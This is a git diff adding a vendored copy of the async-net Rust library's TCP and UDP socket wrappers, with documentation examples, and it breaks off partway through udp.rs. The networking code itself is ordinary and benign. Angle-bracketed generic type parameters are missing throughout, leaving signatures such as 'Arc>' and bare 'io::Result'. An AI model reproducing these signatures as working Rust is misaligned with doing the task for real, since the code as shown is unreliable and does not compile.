+//! let socket = UdpSocket::bind("127.0.0.1:8080").await?; +//! let mut buf = vec![0u8; 1024]; +//! +//! loop { +//! let (n, addr) = socket.recv_from(&mut buf).await?; +//! socket.send_to(&buf[..n], &addr).await?; +//! } +//! # std::io::Result::Ok(()) }); +//! ``` + +#![forbid(unsafe_code)] +#![warn(missing_docs, missing_debug_implementations, rust_2018_idioms)] +#![doc( + html_favicon_url = "https://raw.githubusercontent.com/smol-rs/smol/master/assets/images/logo_fullsize_transparent.png" +)] +#![doc( + html_logo_url = "https://raw.githubusercontent.com/smol-rs/smol/master/assets/images/logo_fullsize_transparent.png" +)] + +#[cfg(unix)] +pub mod unix; + +mod addr; +mod tcp; +mod udp; + +pub use addr::AsyncToSocketAddrs; +pub use tcp::{Incoming, TcpListener, TcpStream}; +pub use udp::UdpSocket; + +use std::io; + +#[doc(no_inline)] +pub use std::net::{IpAddr, Ipv4Addr, Ipv6Addr, Shutdown, SocketAddr, SocketAddrV4, SocketAddrV6}; + +#[doc(no_inline)] +pub use std::net::AddrParseError; + +/// Converts or resolves addresses to [`SocketAddr`] values. +/// +/// # Examples +/// +/// ``` +/// # futures_lite::future::block_on(async { +/// for addr in async_net::resolve("google.com:80").await? { +/// println!("{}", addr); +/// } +/// # std::io::Result::Ok(()) }); +/// ``` +pub async fn resolve(addr: A) -> io::Result> { + Ok(addr.to_socket_addrs().await?.collect()) +} diff --git a/lib/malio/async-net/src/tcp.rs b/lib/malio/async-net/src/tcp.rs new file mode 100644 index 0000000..81ba45e --- /dev/null +++ b/lib/malio/async-net/src/tcp.rs @@ -0,0 +1,765 @@ +use std::fmt; +use std::io::{self, IoSlice, Read as _, Write as _}; +use std::net::{Shutdown, SocketAddr}; +#[cfg(unix)] +use std::os::unix::io::{AsFd, AsRawFd, BorrowedFd, OwnedFd, RawFd}; +#[cfg(windows)] +use std::os::windows::io::{AsRawSocket, AsSocket, BorrowedSocket, OwnedSocket, RawSocket}; +use std::panic::{RefUnwindSafe, UnwindSafe}; +use std::pin::Pin; +use std::sync::Arc; +use std::task::{Context, Poll}; + +use async_io::Async; +use futures_lite::{prelude::*, ready}; + +use crate::addr::AsyncToSocketAddrs; + +/// A TCP server, listening for connections. +/// +/// After creating a [`TcpListener`] by [`bind`][`TcpListener::bind()`]ing it to an address, it +/// listens for incoming TCP connections. These can be accepted by calling +/// [`accept()`][`TcpListener::accept()`] or by awaiting items from the stream of +/// [`incoming`][`TcpListener::incoming()`] connections. +/// +/// Cloning a [`TcpListener`] creates another handle to the same socket. The socket will be closed +/// when all handles to it are dropped. +/// +/// The Transmission Control Protocol is specified in [IETF RFC 793]. +/// +/// [IETF RFC 793]: https://tools.ietf.org/html/rfc793 +/// +/// # Examples +/// +/// ```no_run +/// use async_net::TcpListener; +/// use futures_lite::prelude::*; +/// +/// # futures_lite::future::block_on(async { +/// let listener = TcpListener::bind("127.0.0.1:8080").await?; +/// let mut incoming = listener.incoming(); +/// +/// while let Some(stream) = incoming.next().await { +/// let mut stream = stream?; +/// stream.write_all(b"hello").await?; +/// } +/// # std::io::Result::Ok(()) }); +/// ``` +#[derive(Clone, Debug)] +pub struct TcpListener { + inner: Arc>, +} + +impl TcpListener { + fn new(inner: Arc>) -> TcpListener { + TcpListener { inner } + } + + /// Creates a new [`TcpListener`] bound to the given address. + /// + /// Binding with a port number of 0 will request that the operating system assigns an available + /// port to this listener. The assigned port can be queried via the + /// [`local_addr()`][`TcpListener::local_addr()`] method. + /// + /// If `addr` yields multiple addresses, binding will be attempted with each of the addresses + /// until one succeeds and returns the listener. If none of the addresses succeed in creating a + /// listener, the error from the last attempt is returned. + /// + /// # Examples + /// + /// Create a TCP listener bound to `127.0.0.1:80`: + /// + /// ```no_run + /// use async_net::TcpListener; + /// + /// # futures_lite::future::block_on(async { + /// let listener = TcpListener::bind("127.0.0.1:80").await?; + /// # std::io::Result::Ok(()) }); + /// ``` + /// + /// Create a TCP listener bound to `127.0.0.1:80`. If that address is unavailable, then try + /// binding to `127.0.0.1:443`: + /// + /// ```no_run + /// use async_net::{SocketAddr, TcpListener}; + /// + /// # futures_lite::future::block_on(async { + /// let addrs = [ + /// SocketAddr::from(([127, 0, 0, 1], 80)), + /// SocketAddr::from(([127, 0, 0, 1], 443)), + /// ]; + /// let listener = TcpListener::bind(&addrs[..]).await.unwrap(); + /// # std::io::Result::Ok(()) }); + pub async fn bind(addr: A) -> io::Result { + let mut last_err = None; + + for addr in addr.to_socket_addrs().await? { + match Async::::bind(addr) { + Ok(listener) => return Ok(TcpListener::new(Arc::new(listener))), + Err(err) => last_err = Some(err), + } + } + + Err(last_err.unwrap_or_else(|| { + io::Error::new( + io::ErrorKind::InvalidInput, + "could not resolve to any of the addresses", + ) + })) + } + + /// Returns the local address this listener is bound to. + /// + /// # Examples + /// + /// Bind to port 0 and then see which port was assigned by the operating system: + /// + /// ```no_run + /// use async_net::{SocketAddr, TcpListener}; + /// + /// # futures_lite::future::block_on(async { + /// let listener = TcpListener::bind("127.0.0.1:0").await?; + /// println!("Listening on {}", listener.local_addr()?); + /// # std::io::Result::Ok(()) }); + pub fn local_addr(&self) -> io::Result { + self.inner.get_ref().local_addr() + } + + /// Accepts a new incoming connection. + /// + /// Returns a TCP stream and the address it is connected to. + /// + /// # Examples + /// + /// ```no_run + /// use async_net::TcpListener; + /// + /// # futures_lite::future::block_on(async { + /// let listener = TcpListener::bind("127.0.0.1:8080").await?; + /// let (stream, addr) = listener.accept().await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn accept(&self) -> io::Result<(TcpStream, SocketAddr)> { + let (stream, addr) = self.inner.accept().await?; + Ok((TcpStream::new(Arc::new(stream)), addr)) + } + + /// Returns a stream of incoming connections. + /// + /// Iterating over this stream is equivalent to calling [`accept()`][`TcpListener::accept()`] + /// in a loop. The stream of connections is infinite, i.e awaiting the next connection will + /// never result in [`None`]. + /// + /// # Examples + /// + /// ```no_run + /// use async_net::TcpListener; + /// use futures_lite::prelude::*; + /// + /// # futures_lite::future::block_on(async { + /// let listener = TcpListener::bind("127.0.0.1:0").await?; + /// let mut incoming = listener.incoming(); + /// + /// while let Some(stream) = incoming.next().await { + /// let mut stream = stream?; + /// stream.write_all(b"hello").await?; + /// } + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn incoming(&self) -> Incoming<'_> { + Incoming { + incoming: Box::pin(self.inner.incoming()), + } + } + + /// Gets the value of the `IP_TTL` option for this socket. + /// + /// This option configures the time-to-live field that is used in every packet sent from this + /// socket. + /// + /// # Examples + /// + /// ```no_run + /// use async_net::TcpListener; + /// + /// # futures_lite::future::block_on(async { + /// let listener = TcpListener::bind("127.0.0.1:80").await?; + /// listener.set_ttl(100)?; + /// assert_eq!(listener.ttl()?, 100); + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn ttl(&self) -> io::Result { + self.inner.get_ref().ttl() + } + + /// Sets the value of the `IP_TTL` option for this socket. + /// + /// This option configures the time-to-live field that is used in every packet sent from this + /// socket. + /// + /// # Examples + /// + /// ```no_run + /// use async_net::TcpListener; + /// + /// # futures_lite::future::block_on(async { + /// let listener = TcpListener::bind("127.0.0.1:80").await?; + /// listener.set_ttl(100)?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn set_ttl(&self, ttl: u32) -> io::Result<()> { + self.inner.get_ref().set_ttl(ttl) + } +} + +impl From> for TcpListener { + fn from(listener: Async) -> TcpListener { + TcpListener::new(Arc::new(listener)) + } +} + +impl TryFrom for TcpListener { + type Error = io::Error; + + fn try_from(listener: std::net::TcpListener) -> io::Result { + Ok(TcpListener::new(Arc::new(Async::new(listener)?))) + } +} + +impl From for Arc> { + fn from(val: TcpListener) -> Self { + val.inner + } +} + +#[cfg(unix)] +impl AsRawFd for TcpListener { + fn as_raw_fd(&self) -> RawFd { + self.inner.as_raw_fd() + } +} + +#[cfg(unix)] +impl AsFd for TcpListener { + fn as_fd(&self) -> BorrowedFd<'_> { + self.inner.get_ref().as_fd() + } +} + +#[cfg(unix)] +impl TryFrom for TcpListener { + type Error = io::Error; + + fn try_from(value: OwnedFd) -> Result { + Self::try_from(std::net::TcpListener::from(value)) + } +} + +#[cfg(windows)] +impl AsRawSocket for TcpListener { + fn as_raw_socket(&self) -> RawSocket { + self.inner.as_raw_socket() + } +} + +#[cfg(windows)] +impl AsSocket for TcpListener { + fn as_socket(&self) -> BorrowedSocket<'_> { + self.inner.get_ref().as_socket() + } +} + +#[cfg(windows)] +impl TryFrom for TcpListener { + type Error = io::Error; + + fn try_from(value: OwnedSocket) -> Result { + Self::try_from(std::net::TcpListener::from(value)) + } +} + +/// A stream of incoming TCP connections. +/// +/// This stream is infinite, i.e awaiting the next connection will never result in [`None`]. It is +/// created by the [`TcpListener::incoming()`] method. +pub struct Incoming<'a> { + incoming: + Pin>> + Send + Sync + 'a>>, +} + +impl Stream for Incoming<'_> { + type Item = io::Result; + + fn poll_next(mut self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll> { + let res = ready!(Pin::new(&mut self.incoming).poll_next(cx)); + Poll::Ready(res.map(|res| res.map(|stream| TcpStream::new(Arc::new(stream))))) + } +} + +impl fmt::Debug for Incoming<'_> { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + write!(f, "Incoming {{ ... }}") + } +} + +/// A TCP connection. +/// +/// A [`TcpStream`] can be created by [`connect`][`TcpStream::connect()`]ing to an endpoint or by +/// [`accept`][`TcpListener::accept()`]ing an incoming connection. +/// +/// [`TcpStream`] is a bidirectional stream that implements traits [`AsyncRead`] and +/// [`AsyncWrite`]. +/// +/// Cloning a [`TcpStream`] creates another handle to the same socket. The socket will be closed +/// when all handles to it are dropped. The reading and writing portions of the connection can also +/// be shut down individually with the [`shutdown()`][`TcpStream::shutdown()`] method. +/// +/// The Transmission Control Protocol is specified in [IETF RFC 793]. +/// +/// [IETF RFC 793]: https://tools.ietf.org/html/rfc793 +/// +/// # Examples +/// +/// ```no_run +/// use async_net::TcpStream; +/// use futures_lite::prelude::*; +/// +/// # futures_lite::future::block_on(async { +/// let mut stream = TcpStream::connect("127.0.0.1:8080").await?; +/// stream.write_all(b"hello").await?; +/// +/// let mut buf = vec![0u8; 1024]; +/// let n = stream.read(&mut buf).await?; +/// # std::io::Result::Ok(()) }); +/// ``` +pub struct TcpStream { + inner: Arc>, + readable: Option>, + writable: Option>, +} + +impl UnwindSafe for TcpStream {} +impl RefUnwindSafe for TcpStream {} + +impl TcpStream { + fn new(inner: Arc>) -> TcpStream { + TcpStream { + inner, + readable: None, + writable: None, + } + } + + /// Creates a TCP connection to the specified address. + /// + /// This method will create a new TCP socket and attempt to connect it to the provided `addr`, + /// + /// If `addr` yields multiple addresses, connecting will be attempted with each of the + /// addresses until connecting to one succeeds. If none of the addresses result in a successful + /// connection, the error from the last connect attempt is returned. + /// + /// # Examples + /// + /// Connect to `example.com:80`: + /// + /// ``` + /// use async_net::TcpStream; + /// + /// # futures_lite::future::block_on(async { + /// let stream = TcpStream::connect("example.com:80").await?; + /// # std::io::Result::Ok(()) }); + /// ``` + /// + /// Connect to `127.0.0.1:8080`. If that fails, then try connecting to `127.0.0.1:8081`: + /// + /// ```no_run + /// use async_net::{SocketAddr, TcpStream}; + /// + /// # futures_lite::future::block_on(async { + /// let addrs = [ + /// SocketAddr::from(([127, 0, 0, 1], 8080)), + /// SocketAddr::from(([127, 0, 0, 1], 8081)), + /// ]; + /// let stream = TcpStream::connect(&addrs[..]).await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn connect(addr: A) -> io::Result { + let mut last_err = None; + + for addr in addr.to_socket_addrs().await? { + match Async::::connect(addr).await { + Ok(stream) => return Ok(TcpStream::new(Arc::new(stream))), + Err(e) => last_err = Some(e), + } + } + + Err(last_err.unwrap_or_else(|| { + io::Error::new( + io::ErrorKind::InvalidInput, + "could not connect to any of the addresses", + ) + })) + } + + /// Returns the local address this stream is bound to. + /// + /// # Examples + /// + /// ``` + /// use async_net::TcpStream; + /// + /// # futures_lite::future::block_on(async { + /// let stream = TcpStream::connect("example.com:80").await?; + /// println!("Local address is {}", stream.local_addr()?); + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn local_addr(&self) -> io::Result { + self.inner.get_ref().local_addr() + } + + /// Returns the remote address this stream is connected to. + /// + /// # Examples + /// + /// ``` + /// use async_net::TcpStream; + /// + /// # futures_lite::future::block_on(async { + /// let stream = TcpStream::connect("example.com:80").await?; + /// println!("Connected to {}", stream.peer_addr()?); + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn peer_addr(&self) -> io::Result { + self.inner.get_ref().peer_addr() + } + + /// Shuts down the read half, write half, or both halves of this connection. + /// + /// This method will cause all pending and future I/O in the given directions to return + /// immediately with an appropriate value (see the documentation of [`Shutdown`]). + /// + /// [`Shutdown`]: https://doc.rust-lang.org/std/net/enum.Shutdown.html + /// + /// # Examples + /// + /// ```no_run + /// use async_net::{Shutdown, TcpStream}; + /// + /// # futures_lite::future::block_on(async { + /// let stream = TcpStream::connect("127.0.0.1:8080").await?; + /// stream.shutdown(Shutdown::Both)?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn shutdown(&self, how: std::net::Shutdown) -> std::io::Result<()> { + self.inner.get_ref().shutdown(how) + } + + /// Receives data without removing it from the queue. + /// + /// On success, returns the number of bytes peeked. + /// + /// Successive calls return the same data. This is accomplished by passing `MSG_PEEK` as a flag + /// to the underlying `recv` system call. + /// + /// # Examples + /// + /// ```no_run + /// use async_net::TcpStream; + /// + /// # futures_lite::future::block_on(async { + /// let stream = TcpStream::connect("127.0.0.1:8080").await?; + /// + /// let mut buf = vec![0; 1024]; + /// let n = stream.peek(&mut buf).await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn peek(&self, buf: &mut [u8]) -> io::Result { + self.inner.peek(buf).await + } + + /// Gets the value of the `TCP_NODELAY` option for this socket. + /// + /// If set to `true`, this option disables the [Nagle algorithm][nagle-wiki]. This means that + /// written data is always sent as soon as possible, even if there is only a small amount of + /// it. + /// + /// When set to `false`, written data is buffered until there is a certain amount to send out, + /// thereby avoiding the frequent sending of small packets. + /// + /// [nagle-wiki]: https://en.wikipedia.org/wiki/Nagle%27s_algorithm + /// + /// # Examples + /// + /// ```no_run + /// use async_net::TcpStream; + /// + /// # futures_lite::future::block_on(async { + /// let stream = TcpStream::connect("127.0.0.1:8080").await?; + /// println!("TCP_NODELAY is set to {}", stream.nodelay()?); + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn nodelay(&self) -> io::Result { + self.inner.get_ref().nodelay() + } + + /// Sets the value of the `TCP_NODELAY` option for this socket. + /// + /// If set to `true`, this option disables the [Nagle algorithm][nagle-wiki]. This means that + /// written data is always sent as soon as possible, even if there is only a small amount of + /// it. + /// + /// When set to `false`, written data is buffered until there is a certain amount to send out, + /// thereby avoiding the frequent sending of small packets. + /// + /// [nagle-wiki]: https://en.wikipedia.org/wiki/Nagle%27s_algorithm + /// + /// # Examples + /// + /// ```no_run + /// use async_net::TcpStream; + /// + /// # futures_lite::future::block_on(async { + /// let stream = TcpStream::connect("127.0.0.1:8080").await?; + /// stream.set_nodelay(false)?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn set_nodelay(&self, nodelay: bool) -> io::Result<()> { + self.inner.get_ref().set_nodelay(nodelay) + } + + /// Gets the value of the `IP_TTL` option for this socket. + /// + /// This option configures the time-to-live field that is used in every packet sent from this + /// socket. + /// + /// # Examples + /// + /// ```no_run + /// use async_net::TcpStream; + /// + /// # futures_lite::future::block_on(async { + /// let stream = TcpStream::connect("127.0.0.1:8080").await?; + /// println!("IP_TTL is set to {}", stream.ttl()?); + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn ttl(&self) -> io::Result { + self.inner.get_ref().ttl() + } + + /// Sets the value of the `IP_TTL` option for this socket. + /// + /// This option configures the time-to-live field that is used in every packet sent from this + /// socket. + /// + /// # Examples + /// + /// ```no_run + /// use async_net::TcpStream; + /// + /// # futures_lite::future::block_on(async { + /// let stream = TcpStream::connect("127.0.0.1:8080").await?; + /// stream.set_ttl(100)?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn set_ttl(&self, ttl: u32) -> io::Result<()> { + self.inner.get_ref().set_ttl(ttl) + } +} + +impl fmt::Debug for TcpStream { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + self.inner.fmt(f) + } +} + +impl Clone for TcpStream { + fn clone(&self) -> TcpStream { + TcpStream::new(self.inner.clone()) + } +} + +impl From> for TcpStream { + fn from(stream: Async) -> TcpStream { + TcpStream::new(Arc::new(stream)) + } +} + +impl From for Arc> { + fn from(val: TcpStream) -> Self { + val.inner + } +} + +impl TryFrom for TcpStream { + type Error = io::Error; + + fn try_from(stream: std::net::TcpStream) -> io::Result { + Ok(TcpStream::new(Arc::new(Async::new(stream)?))) + } +} + +#[cfg(unix)] +impl AsRawFd for TcpStream { + fn as_raw_fd(&self) -> RawFd { + self.inner.as_raw_fd() + } +} + +#[cfg(unix)] +impl AsFd for TcpStream { + fn as_fd(&self) -> BorrowedFd<'_> { + self.inner.get_ref().as_fd() + } +} + +#[cfg(unix)] +impl TryFrom for TcpStream { + type Error = io::Error; + + fn try_from(value: OwnedFd) -> Result { + Self::try_from(std::net::TcpStream::from(value)) + } +} + +#[cfg(windows)] +impl AsRawSocket for TcpStream { + fn as_raw_socket(&self) -> RawSocket { + self.inner.as_raw_socket() + } +} + +#[cfg(windows)] +impl AsSocket for TcpStream { + fn as_socket(&self) -> BorrowedSocket<'_> { + self.inner.get_ref().as_socket() + } +} + +#[cfg(windows)] +impl TryFrom for TcpStream { + type Error = io::Error; + + fn try_from(value: OwnedSocket) -> Result { + Self::try_from(std::net::TcpStream::from(value)) + } +} + +impl AsyncRead for TcpStream { + fn poll_read( + mut self: Pin<&mut Self>, + cx: &mut Context<'_>, + buf: &mut [u8], + ) -> Poll> { + loop { + // Attempt the non-blocking operation. + match self.inner.get_ref().read(buf) { + Err(err) if err.kind() == io::ErrorKind::WouldBlock => {} + res => { + self.readable = None; + return Poll::Ready(res); + } + } + + // Initialize the future to wait for readiness. + if self.readable.is_none() { + self.readable = Some(self.inner.clone().readable_owned()); + } + + // Poll the future for readiness. + if let Some(f) = &mut self.readable { + let res = ready!(Pin::new(f).poll(cx)); + self.readable = None; + res?; + } + } + } +} + +impl AsyncWrite for TcpStream { + fn poll_write( + mut self: Pin<&mut Self>, + cx: &mut Context<'_>, + buf: &[u8], + ) -> Poll> { + loop { + // Attempt the non-blocking operation. + match self.inner.get_ref().write(buf) { + Err(err) if err.kind() == io::ErrorKind::WouldBlock => {} + res => { + self.writable = None; + return Poll::Ready(res); + } + } + + // Initialize the future to wait for readiness. + if self.writable.is_none() { + self.writable = Some(self.inner.clone().writable_owned()); + } + + // Poll the future for readiness. + if let Some(f) = &mut self.writable { + let res = ready!(Pin::new(f).poll(cx)); + self.writable = None; + res?; + } + } + } + + fn poll_flush(mut self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll> { + loop { + // Attempt the non-blocking operation. + match self.inner.get_ref().flush() { + Err(err) if err.kind() == io::ErrorKind::WouldBlock => {} + res => { + self.writable = None; + return Poll::Ready(res); + } + } + + // Initialize the future to wait for readiness. + if self.writable.is_none() { + self.writable = Some(self.inner.clone().writable_owned()); + } + + // Poll the future for readiness. + if let Some(f) = &mut self.writable { + let res = ready!(Pin::new(f).poll(cx)); + self.writable = None; + res?; + } + } + } + + fn poll_close(self: Pin<&mut Self>, _: &mut Context<'_>) -> Poll> { + Poll::Ready(self.inner.get_ref().shutdown(Shutdown::Write)) + } + + fn poll_write_vectored( + mut self: Pin<&mut Self>, + cx: &mut Context<'_>, + bufs: &[IoSlice<'_>], + ) -> Poll> { + loop { + // Attempt the non-blocking operation. + match self.inner.get_ref().write_vectored(bufs) { + Err(err) if err.kind() == io::ErrorKind::WouldBlock => {} + res => { + self.writable = None; + return Poll::Ready(res); + } + } + + // Initialize the future to wait for readiness. + if self.writable.is_none() { + self.writable = Some(self.inner.clone().writable_owned()); + } + + // Poll the future for readiness. + if let Some(f) = &mut self.writable { + let res = ready!(Pin::new(f).poll(cx)); + self.writable = None; + res?; + } + } + } +} diff --git a/lib/malio/async-net/src/udp.rs b/lib/malio/async-net/src/udp.rs new file mode 100644 index 0000000..613fba4 --- /dev/null +++ b/lib/malio/async-net/src/udp.rs @@ -0,0 +1,662 @@ +use std::io; +use std::net::{Ipv4Addr, Ipv6Addr, SocketAddr}; +#[cfg(unix)] +use std::os::unix::io::{AsFd, AsRawFd, BorrowedFd, OwnedFd, RawFd}; +#[cfg(windows)] +use std::os::windows::io::{AsRawSocket, AsSocket, BorrowedSocket, OwnedSocket, RawSocket}; +use std::sync::Arc; + +use async_io::Async; + +use crate::addr::AsyncToSocketAddrs; + +/// A UDP socket. +/// +/// After creating a [`UdpSocket`] by [`bind`][`UdpSocket::bind()`]ing it to a socket address, data +/// can be [sent to] and [received from] any other socket address. +/// +/// Cloning a [`UdpSocket`] creates another handle to the same socket. The socket will be closed +/// when all handles to it are dropped. +/// +/// Although UDP is a connectionless protocol, this implementation provides an interface to set an +/// address where data should be sent and received from. After setting a remote address with +/// [`connect()`][`UdpSocket::connect()`], data can be sent to and received from that address with +/// [`send()`][`UdpSocket::send()`] and [`recv()`][`UdpSocket::recv()`]. +/// +/// As stated in the User Datagram Protocol's specification in [IETF RFC 768], UDP is an unordered, +/// unreliable protocol. Refer to [`TcpListener`][`super::TcpListener`] and +/// [`TcpStream`][`super::TcpStream`] for TCP primitives. +/// +/// [received from]: UdpSocket::recv_from() +/// [sent to]: UdpSocket::send_to() +/// [IETF RFC 768]: https://tools.ietf.org/html/rfc768 +/// +/// # Examples +/// +/// ```no_run +/// use async_net::UdpSocket; +/// +/// # futures_lite::future::block_on(async { +/// let socket = UdpSocket::bind("127.0.0.1:8080").await?; +/// let mut buf = vec![0u8; 20]; +/// +/// loop { +/// // Receive a single datagram message. +/// // If `buf` is too small to hold the entire message, it will be cut off. +/// let (n, addr) = socket.recv_from(&mut buf).await?; +/// +/// // Send the message back to the same address that has sent it. +/// socket.send_to(&buf[..n], &addr).await?; +/// } +/// # std::io::Result::Ok(()) }); +/// ``` +#[derive(Clone, Debug)] +pub struct UdpSocket { + inner: Arc>, +} + +impl UdpSocket { + fn new(inner: Arc>) -> UdpSocket { + UdpSocket { inner } + } + + /// Creates a new [`UdpSocket`] bound to the given address. + /// + /// Binding with a port number of 0 will request that the operating system assigns an available + /// port to this socket. The assigned port can be queried via the + /// [`local_addr()`][`UdpSocket::local_addr()`] method. + /// + /// If `addr` yields multiple addresses, binding will be attempted with each of the addresses + /// until one succeeds and returns the socket. If none of the addresses succeed in creating a + /// socket, the error from the last attempt is returned. + /// + /// # Examples + /// + /// Create a UDP socket bound to `127.0.0.1:3400`: + /// + /// ```no_run + /// use async_net::UdpSocket; + /// + /// # futures_lite::future::block_on(async { + /// let socket = UdpSocket::bind("127.0.0.1:3400").await?; + /// # std::io::Result::Ok(()) }); + /// ``` + /// + /// Create a UDP socket bound to `127.0.0.1:3400`. If that address is unavailable, then try + /// binding to `127.0.0.1:3401`: + /// + /// ```no_run + /// use async_net::{SocketAddr, UdpSocket}; + /// + /// # futures_lite::future::block_on(async { + /// let addrs = [ + /// SocketAddr::from(([127, 0, 0, 1], 3400)), + /// SocketAddr::from(([127, 0, 0, 1], 3401)), + /// ]; + /// let socket = UdpSocket::bind(&addrs[..]).await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn bind(addr: A) -> io::Result { + let mut last_err = None; + + for addr in addr.to_socket_addrs().await? { + match Async::::bind(addr) { + Ok(socket) => return Ok(UdpSocket::new(Arc::new(socket))), + Err(err) => last_err = Some(err), + } + } + + Err(last_err.unwrap_or_else(|| { + io::Error::new( + io::ErrorKind::InvalidInput, + "could not bind to any of the addresses", + ) + })) + } + + /// Returns the local address this socket is bound to. + /// + /// This can be useful, for example, when binding to port 0 to figure out which port was + /// actually bound. + /// + /// # Examples + /// + /// Bind to port 0 and then see which port was assigned by the operating system: + /// + /// ```no_run + /// use async_net::{SocketAddr, UdpSocket}; + /// + /// # futures_lite::future::block_on(async { + /// let socket = UdpSocket::bind("127.0.0.1:0").await?; + /// println!("Bound to {}", socket.local_addr()?); + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn local_addr(&self) -> io::Result { + self.inner.get_ref().local_addr() + } + + /// Returns the remote address this socket is connected to. + /// + /// # Examples + /// + /// ```no_run + /// use async_net::UdpSocket; + /// + /// # futures_lite::future::block_on(async { + /// let socket = UdpSocket::bind("127.0.0.1:34254").await?; + /// socket.connect("192.168.0.1:41203").await?; + /// println!("Connected to {}", socket.peer_addr()?); + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn peer_addr(&self) -> io::Result { + self.inner.get_ref().peer_addr() + } + + /// Connects the UDP socket to an address. + /// + /// When connected, methods [`send()`][`UdpSocket::send()`] and [`recv()`][`UdpSocket::recv()`] + /// will use the specified address for sending and receiving messages. Additionally, a filter + /// will be applied to [`recv_from()`][`UdpSocket::recv_from()`] so that it only receives + /// messages from that same address. + /// + /// If `addr` yields multiple addresses, connecting will be attempted with each of the + /// addresses until the operating system accepts one. If none of the addresses are accepted, + /// the error from the last attempt is returned. + /// + /// # Examples + /// + /// ```no_run + /// use async_net::UdpSocket; + /// + /// # futures_lite::future::block_on(async { + /// let socket = UdpSocket::bind("127.0.0.1:3400").await?; + /// socket.connect("127.0.0.1:8080").await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn connect(&self, addr: A) -> io::Result<()> { + let mut last_err = None; + + for addr in addr.to_socket_addrs().await? { + match self.inner.get_ref().connect(addr) { + Ok(()) => return Ok(()), + Err(err) => last_err = Some(err), + } + } + + Err(last_err.unwrap_or_else(|| { + io::Error::new( + io::ErrorKind::InvalidInput, + "could not connect to any of the addresses", + ) + })) + } + + /// Receives a single datagram message. + /// + /// On success, returns the number of bytes received and the address message came from. + /// + /// This method must be called with a valid byte buffer of sufficient size to hold a message. + /// If the received message is too long to fit into the buffer, it may be truncated. + /// + /// # Examples + /// + /// ```no_run + /// use async_net::UdpSocket; + /// + /// # futures_lite::future::block_on(async { + /// let socket = UdpSocket::bind("127.0.0.1:34254").await?; + /// + /// let mut buf = vec![0u8; 1024]; + /// let (n, addr) = socket.recv_from(&mut buf).await?; + /// println!("Received {} bytes from {}", n, addr); + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn recv_from(&self, buf: &mut [u8]) -> io::Result<(usize, SocketAddr)> { + self.inner.recv_from(buf).await + } + + /// Receives a single datagram message without removing it from the queue. + /// + /// On success, returns the number of bytes peeked and the address message came from. + /// + /// This method must be called with a valid byte buffer of sufficient size to hold a message. + /// If the received message is too long to fit into the buffer, it may be truncated. + /// + /// Successive calls return the same message. This is accomplished by passing `MSG_PEEK` as a + /// flag to the underlying `recvfrom` system call. + /// + /// # Examples + /// + /// ```no_run + /// use async_net::UdpSocket; + /// + /// # futures_lite::future::block_on(async { + /// let socket = UdpSocket::bind("127.0.0.1:34254").await?; + /// + /// let mut buf = vec![0u8; 1024]; + /// let (n, addr) = socket.peek_from(&mut buf).await?; + /// println!("Peeked {} bytes from {}", n, addr); + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn peek_from(&self, buf: &mut [u8]) -> io::Result<(usize, SocketAddr)> { + self.inner.get_ref().peek_from(buf) + } + + /// Sends data to the given address. + /// + /// On success, returns the number of bytes sent. + /// + /// If `addr` yields multiple addresses, the message will only be sent to the first address. + /// + /// # Examples + /// + /// ```no_run + /// use async_net::UdpSocket; + /// + /// # futures_lite::future::block_on(async { + /// let socket = UdpSocket::bind("127.0.0.1:34254").await?; + /// socket.send_to(b"hello", "127.0.0.1:4242").await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn send_to(&self, buf: &[u8], addr: A) -> io::Result { + let addr = match addr.to_socket_addrs().await?.next() { + Some(addr) => addr, + None => { + return Err(io::Error::new( + io::ErrorKind::InvalidInput, + "no addresses to send data to", + )) + } + }; + + self.inner.send_to(buf, addr).await + } + + /// Receives a single datagram message from the connected address. + /// + /// On success, returns the number of bytes received. + /// + /// This method must be called with a valid byte buffer of sufficient size to hold a message. + /// If the received message is too long to fit into the buffer, it may be truncated. + /// + /// The [`connect()`][`UdpSocket::connect()`] method connects this socket to an address. This + /// method will fail if the socket is not connected. + /// + /// # Examples + /// + /// ```no_run + /// use async_net::UdpSocket; + /// + /// # futures_lite::future::block_on(async { + /// let socket = UdpSocket::bind("127.0.0.1:34254").await?; + /// socket.connect("127.0.0.1:8080").await?; + /// + /// let mut buf = vec![0u8; 1024]; + /// let n = socket.recv(&mut buf).await?; + /// println!("Received {} bytes", n); + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn recv(&self, buf: &mut [u8]) -> io::Result { + self.inner.recv(buf).await + } + + /// Receives a single datagram from the connected address without removing it from the queue. + /// + /// On success, returns the number of bytes peeked. + /// + /// This method must be called with a valid byte buffer of sufficient size to hold a message. + /// If the received message is too long to fit into the buffer, it may be truncated. + /// + /// Successive calls return the same message. This is accomplished by passing `MSG_PEEK` as a + /// flag to the underlying `recv` system call. + /// + /// The [`connect()`][`UdpSocket::connect()`] method connects this socket to an address. This + /// method will fail if the socket is not connected. + /// + /// # Examples + /// + /// ```no_run + /// use async_net::UdpSocket; + /// + /// # futures_lite::future::block_on(async { + /// let socket = UdpSocket::bind("127.0.0.1:34254").await?; + /// socket.connect("127.0.0.1:8080").await?; + /// + /// let mut buf = vec![0u8; 1024]; + /// let n = socket.peek(&mut buf).await?; + /// println!("Peeked {} bytes", n); + /// # 